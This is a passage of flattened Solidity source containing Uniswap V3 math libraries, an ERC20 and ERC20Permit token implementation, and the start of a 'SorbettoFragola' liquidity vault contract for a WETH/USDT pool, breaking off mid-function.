uint256 amount1Desired, uint256 amount0, uint256 amount1) internal pure returns (bool zeroGreaterOne) { zeroGreaterOne = amount0Desired.sub(amount0).mul(amount1Desired) > amount1Desired.sub(amount1).mul(amount0Desired) ? true : false; } // Check price has not moved a lot recently. This mitigates price // manipulation during rebalance and also prevents placing orders // when it's too volatile. function checkDeviation(IUniswapV3Pool pool, int24 maxTwapDeviation, uint32 twapDuration) internal view { (, int24 currentTick, , , , , ) = pool.slot0(); int24 twap = getTwap(pool, twapDuration); int24 deviation = currentTick > twap ? currentTick - twap : twap - currentTick; require(deviation <= maxTwapDeviation, "PSC"); } /// @dev Fetches time-weighted average price in ticks from Uniswap pool for specified duration function getTwap(IUniswapV3Pool pool, uint32 twapDuration) internal view returns (int24) { uint32 _twapDuration = twapDuration; uint32[] memory secondsAgo = new uint32[](2); secondsAgo[0] = _twapDuration; secondsAgo[1] = 0; (int56[] memory tickCumulatives, ) = pool.observe(secondsAgo); return int24((tickCumulatives[1] - tickCumulatives[0]) / _twapDuration); } } pragma solidity >=0.5.0; library PositionKey { /// @dev Returns the key of the position in the core library function compute( address owner, int24 tickLower, int24 tickUpper ) internal pure returns (bytes32) { return keccak256(abi.encodePacked(owner, tickLower, tickUpper)); } } pragma solidity >=0.5.0; library PriceMath { using LowGasSafeMath for uint256; using UnsafeMath for uint256; /** * @notice Computes real price from sqrtPrice * @param sqrtPriceX96 The initial square root price as a Q64.96 value * @param token0Power Precision * @return price token1 per 1 token0 */ function token0ValuePrice(uint256 sqrtPriceX96, uint256 token0Power) internal pure returns(uint256 price) { return sqrtPriceX96.mul(sqrtPriceX96).mul(token0Power) >> (96*2); } /** * @notice Computes square root price as a Q64.96 value from real price * @param price token1 per 1 token0 * @param token0Power Precision * @return square root price as a Q64.96 */ function sqrtPriceX96ForToken0Value(uint256 price, uint256 token0Power) internal pure returns (uint256) { return Babylonian.sqrt((price << (96*2)).unsafeDiv(token0Power)); } } pragma solidity >=0.5.0; /// @title Safe casting methods /// @notice Contains methods for safely casting between types library SafeCast { /// @notice Cast a uint256 to a uint160, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint160 function toUint160(uint256 y) internal pure returns (uint160 z) { require((z = uint160(y)) == y); } /// @notice Cast a uint256 to a uint128, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint128 function toUint128(uint256 y) internal pure returns (uint128 z) { require((z = uint128(y)) == y); } /// @notice Cast a int256 to a int128, revert on overflow or underflow /// @param y The int256 to be downcasted /// @return z The downcasted integer, now type int128 function toInt128(int256 y) internal pure returns (int128 z) { require((z = int128(y)) == y); } /// @notice Cast a uint256 to a int256, revert on overflow /// @param y The uint256 to be casted /// @return z The casted integer, now type int256 function toInt256(uint256 y) internal pure returns (int256 z) { require(y < 2**255); z = int256(y); } } pragma solidity >=0.5.0; /// @title Functions based on Q64.96 sqrt price and liquidity /// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas library SqrtPriceMath { using LowGasSafeMath for uint256; using SafeCast for uint256; /// @notice Gets the next sqrt price given a delta of token0 /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the /// price less in order to not send too much output. /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96), /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount). /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token0 to add or remove from virtual reserves /// @param add Whether to add or remove the amount of token0 /// @return The price after adding or removing amount, depending on add function getNextSqrtPriceFromAmount0RoundingUp( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price if (amount == 0) return sqrtPX96; uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; if (add) { uint256 product; if ((product = amount * sqrtPX96) / amount == sqrtPX96) { uint256 denominator = numerator1 + product; if (denominator >= numerator1) // always fits in 160 bits return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator)); } return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount))); } else { uint256 product; // if the product overflows, we know the denominator underflows // in addition, we must check that the denominator does not underflow require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product); uint256 denominator = numerator1 - product; return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160(); } } /// @notice Gets the next sqrt price given a delta of token1 /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the /// price less in order to not send too much output. /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token1 to add, or remove, from virtual reserves /// @param add Whether to add, or remove, the amount of token1 /// @return The price after adding or removing `amount` function getNextSqrtPriceFromAmount1RoundingDown( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // if we're adding (subtracting), rounding down requires rounding the quotient down (up) // in both cases, avoid a mulDiv for most inputs if (add) { uint256 quotient = ( amount <= type(uint160).max ? (amount << FixedPoint96.RESOLUTION) / liquidity : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity) ); return uint256(sqrtPX96).add(quotient).toUint160(); } else { uint256 quotient = ( amount <= type(uint160).max ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity) : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity) ); require(sqrtPX96 > quotient); // always fits 160 bits return uint160(sqrtPX96 - quotient); } } } pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } pragma solidity >=0.6.0; library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } pragma solidity >=0.5.0; /// @title Math functions that do not check inputs or outputs /// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks library UnsafeMath { /// @notice Returns ceil(x / y) /// @dev division by 0 has unspecified behavior, and must be checked externally /// @param x The dividend /// @param y The divisor /// @return z The quotient, ceil(x / y) function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := add(div(x, y), gt(mod(x, y), 0)) } } /// @notice Returns floor(x / y) /// @dev division by 0 has unspecified behavior, and must be checked externally /// @param x The dividend /// @param y The divisor /// @return z The quotient, floor(x / y) function unsafeDiv(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := div(x, y) } } } pragma solidity ^0.7.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using LowGasSafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "TEA")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "DEB")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "FZA"); require(recipient != address(0), "TZA"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "TEB"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "MZA"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "BZA"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "BEB"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "AFZA"); require(spender != address(0), "ATZA"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity =0.7.6; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping (address => Counters.Counter) private _nonces; //keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 private immutable _PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") { } /** * @dev See {IERC20Permit-permit}. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ED"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "IS"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } pragma solidity =0.7.6; /// @title Interface for WETH9 interface IWETH9 is IERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable; } pragma solidity 0.7.6; /// @title Sorbetto Fragola is a yield enchancement v3 contract /// @dev Sorbetto fragola is a Uniswap V3 yield enchancement contract which acts as /// intermediary between the user who wants to provide liquidity to specific pools /// and earn fees from such actions. The contract ensures that user position is in /// range and earns maximum amount of fees available at current liquidity utilization /// rate. contract SorbettoFragola is ERC20Permit, ReentrancyGuard, ISorbettoFragola { using LowGasSafeMath for uint256; using LowGasSafeMath for uint160; using LowGasSafeMath for uint128; using UnsafeMath for uint256; using SafeCast for uint256; using PoolVariables for IUniswapV3Pool; using PoolActions for IUniswapV3Pool; //Any data passed through by the caller via the IUniswapV3PoolActions#mint call struct MintCallbackData { address payer; } //Any data passed through by the caller via the IUniswapV3PoolActions#swap call struct SwapCallbackData { bool zeroForOne; } // Info of each user struct UserInfo { uint256 token0Rewards; // The amount of fees in token 0 uint256 token1Rewards; // The amount of fees in token 1 uint256 token0PerSharePaid; // Token 0 reward debt uint256 token1PerSharePaid; // Token 1 reward debt } /// @notice Emitted when user adds liquidity /// @param sender The address that minted the liquidity /// @param liquidity The amount of liquidity added by the user to position /// @param amount0 How much token0 was required for the added liquidity /// @param amount1 How much token1 was required for the added liquidity event Deposit( address indexed sender, uint256 liquidity, uint256 amount0, uint256 amount1 ); /// @notice Emitted when user withdraws liquidity /// @param sender The address that minted the liquidity /// @param shares of liquidity withdrawn by the user from the position /// @param amount0 How much token0 was required for the added liquidity /// @param amount1 How much token1 was required for the added liquidity event Withdraw( address indexed sender, uint256 shares, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees was collected from the pool /// @param feesFromPool0 Total amount of fees collected in terms of token 0 /// @param feesFromPool1 Total amount of fees collected in terms of token 1 /// @param usersFees0 Total amount of fees collected by users in terms of token 0 /// @param usersFees1 Total amount of fees collected by users in terms of token 1 event CollectFees( uint256 feesFromPool0, uint256 feesFromPool1, uint256 usersFees0, uint256 usersFees1 ); /// @notice Emitted when sorbetto fragola changes the position in the pool /// @param tickLower Lower price tick of the positon /// @param tickUpper Upper price tick of the position /// @param amount0 Amount of token 0 deposited to the position /// @param amount1 Amount of token 1 deposited to the position event Rerange( int24 tickLower, int24 tickUpper, uint256 amount0, uint256 amount1 ); /// @notice Emitted when user collects his fee share /// @param sender User address /// @param fees0 Exact amount of fees claimed by the users in terms of token 0 /// @param fees1 Exact amount of fees claimed by the users in terms of token 1 event RewardPaid( address indexed sender, uint256 fees0, uint256 fees1 ); /// @notice Shows current Sorbetto's balances /// @param totalAmount0 Current token0 Sorbetto's balance /// @param totalAmount1 Current token1 Sorbetto's balance event Snapshot(uint256 totalAmount0, uint256 totalAmount1); /// @notice Prevents calls from users modifier onlyGovernance { require(msg.sender == governance, "NA"); _; } mapping(address => UserInfo) public userInfo; // Info of each user that provides liquidity tokens. // token 0 fraction uint256 public immutable token0DecimalPower = 1e18; //WETH // token 1 fraction uint256 public immutable token1DecimalPower = 1e6; //USDT /// @inheritdoc ISorbettoFragola address public immutable override token0; /// @inheritdoc ISorbettoFragola address public immutable override token1; // WETH address address public immutable weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // @inheritdoc ISorbettoFragola int24 public immutable override tickSpacing; uint24 immutable GLOBAL_DIVISIONER = 1e6; // for basis point (0.0001%) // @inheritdoc ISorbettoFragola IUniswapV3Pool public override pool03; // Maximum total supply of the PLP (69M) uint256 public maxTotalSupply; // Accrued protocol fees in terms of token0 uint256 public accruedProtocolFees0; // Accrued protocol fees in terms of token1 uint256 public accruedProtocolFees1; // Total lifetime accrued users fees in terms of token0 uint256 public usersFees0; // Total lifetime accrued users fees in terms of token1 uint256 public usersFees1; // intermediate variable for user fee token0 calculation uint256 public token0PerShareStored; // intermediate variable for user fee token1 calculation uint256 public token1PerShareStored; //Universal multiplier used to properly calculate user share uint256 public override universalMultiplier; // Address of the Sorbetto's owner address public governance; // Pending to claim ownership address address public pendingGovernance; //Sorbetto fragola settings address address public strategy; // Current tick lower of sorbetto pool position int24 public override tickLower; // Current tick higher of sorbetto pool position int24 public override tickUpper; // Checks if sorbetto is initialized bool public finalized; /** * @dev After deploying, strategy can be set via `setStrategy()` * @param _pool03 Underlying Uniswap V3 pool with fee = 3000 * @param _strategy Underlying Sorbetto Strategy for Sorbetto settings * @param _maxTotalSupply max total supply of PLP */ constructor( address _pool03, address _strategy, uint256 _maxTotalSupply ) ERC20("Popsicle LP V3 WETH/USDT", "PLP") ERC20Permit("Popsicle LP V3 WETH/USDT") { pool03 = IUniswapV3Pool(_pool03); strategy = _strategy; token0 = pool03.token0(); token1 = pool03.token1(); tickSpacing = pool03.tickSpacing(); maxTotalSupply = _maxTotalSupply; governance = msg.sender; } //initialize strategy function init() external onlyGovernance { require(!finalized, "F"); finalized = true; int24 baseThreshold = tickSpacing * ISorbettoStrategy(strategy).tickRangeMultiplier(); (uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool03.slot0(); int24 tickFloor = PoolVariables.floor(currentTick, tickSpacing); tickLower = tickFloor - baseThreshold; tickUpper = tickFloor + baseThreshold; universalMultiplier = PriceMath.token0ValuePrice(sqrtPriceX96, token0DecimalPower); } /// @inheritdoc ISorbettoFragola function deposit( uint256 amount0Desired, uint256 amount1Desired ) external payable override nonReentrant checkDeviation updateVault(msg.sender) returns ( uint256 shares, uint256 amount0, uint256 amount1 ) { require(amount0Desired > 0 && amount1Desired > 0, "ANV"); // compute the liquidity amount uint128 liquidity = pool03.liquidityForAmounts(amount0Desired, amount1Desired, tickLower, tickUpper); (amount0, amount1) = pool03.mint( address(this), tickLower, tickUpper, liquidity, abi.encode(MintCallbackData({payer: msg.sender}))); shares = _calcShare(amount0, amount1); _mint(msg.sender, shares); require(totalSupply() <= maxTotalSupply, "MTS"); refundETH(); emit Deposit(msg.sender, shares, amount0, amount1); } /// @inheritdoc ISorbettoFragola function withdraw( uint256 shares ) external override nonReentrant checkDeviation updateVault(msg.sender) returns ( uint256 amount0, uint256 amount1 ) { require(shares > 0, "S"); (amount0, amount1) = pool03.burnLiquidityShare(tickLower, tickUpper, totalSupply(), shares, msg.sender); // Burn shares _burn(msg.sender, shares); emit Withdraw(msg.sender, shares, amount0, amount1); } /// @inheritdoc ISorbettoFragola function rerange() external override nonReentrant checkDeviation updateVault(address(0)) { //Burn all liquidity from pool to 